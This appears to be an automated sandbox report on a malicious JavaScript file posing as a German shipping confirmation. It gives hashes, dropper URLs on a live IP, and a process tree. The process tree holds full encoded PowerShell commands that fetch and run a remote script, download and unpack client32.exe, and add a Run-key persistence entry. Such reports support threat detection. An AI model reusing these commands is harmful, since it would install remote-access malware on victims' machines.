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Analysis

  • max time kernel
    26s
  • max time network
    29s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    13/05/2023, 01:12

General

  • Target

    Versandbestaetigung_155002_23098.js

  • Size

    32KB

  • MD5

    aacc50b6cb34a6464a811793fbbc9776

  • SHA1

    5e4bc0f6dcbd8687fd54d7c75584fc784e44cf3d

  • SHA256

    684bd7367b7f3365a7420b767632c453fa2ae68a937723cfc9b38a2381097ad6

  • SHA512

    b33090526297166e73b28a41a5503cb2d98f6b1e601db27af21ed4069ce5629a5d59297699a0ed715d2e00360eb917bd831b98ae753596e6b30fc114d8f443fe

  • SSDEEP

    384:pJ26gAE6CcsFVP8Nrpl3i+00+/hwaEV8dyXx9DCymMnOWesqoqAv4CCpuh6yEFUr:pJaWs0PFBVdXtriaCkeJ5LG7n5VVkm

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.193.43.96/upl.ps1

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://91.193.43.96/main.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Versandbestaetigung_155002_23098.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1976
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C pOwershelL -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AOQAxAC4AMQA5ADMALgA0ADMALgA5ADYALwB1AHAAbAAuAHAAcwAxACIAKQA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:896
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        pOwershelL -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AOQAxAC4AMQA5ADMALgA0ADMALgA5ADYALwB1AHAAbAAuAHAAcwAxACIAKQA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1428
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -ep bypass -win hid -enc YwBkACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAOwAgACQAbABpAG4AawA9ACcAaAB0AHQAcAA6AC8ALwA5ADEALgAxADkAMwAuADQAMwAuADkANgAvAG0AYQBpAG4ALgBwAGgAcAAnADsAIAAkAHIAbgB1AG0APQBHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBtAGkAbgBpAG0AdQBtACAANQAgAC0AbQBhAHgAaQBtAHUAbQAgADkAOwAgACQAcgByAG4AdQBtAD0ARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AbQBpAG4AaQBtAHUAbQAgADEAMAAyADQAIAAtAG0AYQB4AGkAbQB1AG0AIAA5ADkAOQA5ADsAIAAkAGMAaAByAHMAPQAnAGEAYgBjAGQAZQBmAGcAaABpAGoAawBsAG0AbgBvAHAAcwB0AHUAdgB3AHgAeQB6AEEAQgBDAEQARQBGAEcASABJAEoASwBMAE0ATgBPAFAAUgBTAFQAVQBWAFcAWABZAFoAJwA7ACAAJAByAHMAdAByAD0AJwAnADsAIAAkAHIAYQBuAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUgBhAG4AZABvAG0AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAcgBuAHUAbQA7ACAAJABpACsAKwApACAAewAkAHIAcwB0AHIAKwA9ACQAYwBoAHIAcwBbACQAcgBhAG4ALgBuAGUAeAB0ACgAMAAsACAAJABjAGgAcgBzAC4ATABlAG4AZwB0AGgAKQBdAH0AOwAgACQAcgB6AGkAcAA9ACQAcgBzAHQAcgArACcALgB6AGkAcAAnADsAIAAkAHAAYQB0AGgAPQAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQArACcAXAAnACsAJAByAHoAaQBwADsAIAAkAHAAegBpAHAAPQAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQArACcAXABPAE4ARQBOADAAVABFAHUAcABkAGEAdABlAF8AJwArACQAcgByAG4AdQBtADsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIAAkAGwAaQBuAGsAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQAUABhAHQAaAA7ACAAZQB4AHAAYQBuAGQALQBhAHIAYwBoAGkAdgBlACAALQBwAGEAdABoACAAJABwAGEAdABoACAALQBkAGUAcwB0AGkAbgBhAHQAaQBvAG4AcABhAHQAaAAgACQAcAB6AGkAcAA7ACAAJABGAE8ATABEAD0ARwBlAHQALQBJAHQAZQBtACAAJABwAHoAaQBwACAALQBGAG8AcgBjAGUAOwAgACQARgBPAEwARAAuAGEAdAB0AHIAaQBiAHUAdABlAHMAPQAnAEgAaQBkAGQAZQBuACcAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAcABhAHQAaAA7ACAAYwBkACAAJABwAHoAaQBwADsAIABzAHQAYQByAHQAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7ACAAJABmAHMAdAByAD0AJABwAHoAaQBwACsAJwBcAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACcAOwAgACQAcgBuAG0APQAnAE8ATgBFAE4AMABUAEUAdQBwAGQAYQB0AGUAXwAnACsAJAByAHIAbgB1AG0AOwAgAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AYQBtAGUAIAAkAHIAbgBtACAALQBWAGEAbAB1AGUAIAAkAGYAcwB0AHIAIAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIAAnAFMAdAByAGkAbgBnACcAOwA=
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:112

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    a3e8d28a005ce60cbca4aaac4622b74e

    SHA1

    0e39684ec358e809342d5d9633468b277ae0fdc3

    SHA256

    867e2d7e3abb946e0ea7fc43e3a330fa002b675eac8bda75fb5af7293f39112d

    SHA512

    45eeb2e4312a509da1a18cc2fcbe872d06a29daa91af64a77bee408db8aa28f350abac98898a1b04bdae5275a836517eb77cc937b5044057cdbac882495a62f7

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WZDI3ZDEDDGQHP2WW0PA.temp

    Filesize

    7KB

    MD5

    a3e8d28a005ce60cbca4aaac4622b74e

    SHA1

    0e39684ec358e809342d5d9633468b277ae0fdc3

    SHA256

    867e2d7e3abb946e0ea7fc43e3a330fa002b675eac8bda75fb5af7293f39112d

    SHA512

    45eeb2e4312a509da1a18cc2fcbe872d06a29daa91af64a77bee408db8aa28f350abac98898a1b04bdae5275a836517eb77cc937b5044057cdbac882495a62f7

  • memory/112-69-0x0000000002674000-0x0000000002677000-memory.dmp

    Filesize

    12KB

  • memory/1428-59-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

    Filesize

    2.9MB

  • memory/1428-60-0x0000000002310000-0x0000000002318000-memory.dmp

    Filesize

    32KB

  • memory/1428-61-0x00000000025F0000-0x0000000002670000-memory.dmp

    Filesize

    512KB

  • memory/1428-62-0x00000000025F0000-0x0000000002670000-memory.dmp

    Filesize

    512KB

  • memory/1428-63-0x00000000025F0000-0x0000000002670000-memory.dmp

    Filesize

    512KB